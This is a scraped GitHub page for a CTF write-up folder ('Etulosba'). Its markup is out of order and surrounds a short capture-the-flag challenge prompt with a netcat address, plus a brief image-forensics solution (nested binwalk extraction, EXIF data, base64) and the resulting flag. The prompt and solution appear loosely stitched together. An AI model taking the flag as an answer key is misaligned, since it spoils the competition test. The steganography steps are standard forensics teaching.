data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":428674070,"originating_url":"https://github.com/noflowpls/INTENT-CTF-Writeup/tree/main/Etulosba","user_id":null}}" data-hydro-click-hmac="022c95aa0b35de6087ffb6150e493ddbb30f5e7018c891c805a396b09c8de847"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noflowpls/INTENT-CTF-Writeup/refs" cache-key="v0:1637071061.840467" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bm9mbG93cGxzL0lOVEVOVC1DVEYtV3JpdGV1cA==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noflowpls/INTENT-CTF-Writeup/refs" cache-key="v0:1637071061.840467" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bm9mbG93cGxzL0lOVEVOVC1DVEYtV3JpdGV1cA==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>INTENT-CTF-Writeup</span></span></span><span>/</span>Etulosba<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>INTENT-CTF-Writeup</span></span></span><span>/</span>Etulosba<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/tree-commit/fdb20f4fe564a7e36a82c0362c95b6676af960f1/Etulosba" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/file-list/main/Etulosba"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Etulosba.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>main.js</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
James Bonderman has retrieved some files from an enemy agent’s system. As one of R Branch’s support engineers, Bonderman is trusting you to find any information relevant to his investigation. R has sent you a checklist of what he wants you to find. That should be easy for an agent such as yourself. nc misc.chal.csaw.io 5015 Author: Regulus915ap Challenge Files: https://drive.google.com/file/d/1Xyy__6d_bV3E5mRvF719i2nHJ0PHh7RZ/view?usp=sharing
Binwalk the given image u will find another image inside it . Binwalk it again , it will give you another image . Now check the exifdata of that image to find the base 64 encoded string in it. **flag{th3_h1dd3n_fl4g_1ns1d3_th3_c4stl3}**
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 